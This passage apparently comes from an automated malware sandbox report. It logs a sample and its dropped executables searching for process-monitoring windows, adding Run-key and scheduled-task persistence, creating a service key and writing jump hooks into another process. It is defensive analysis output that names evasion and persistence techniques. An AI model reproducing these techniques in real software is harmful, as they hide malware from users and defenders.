Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b6ea789a1a.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\BackupOfflineDownload\Parameters

Jump to behavior

Source: C:\Windows\System32\svchost.exe

18_2_0000000180004920

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b6ea789a1a.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b6ea789a1a.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fc0b992f89.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fc0b992f89.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9fee9e49cf.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9fee9e49cf.exe	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	Memory written: PID: 5024 base: 7FF8C8A50008 value: E9 EB D9 E9 FF
Source: C:\Users\user\AppData\Local\Temp\1002754001\Loader_seyhhd.exe	Memory written: PID: 5024 base: 7FF8C88ED9F0 value: E9 20 26 16 00

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
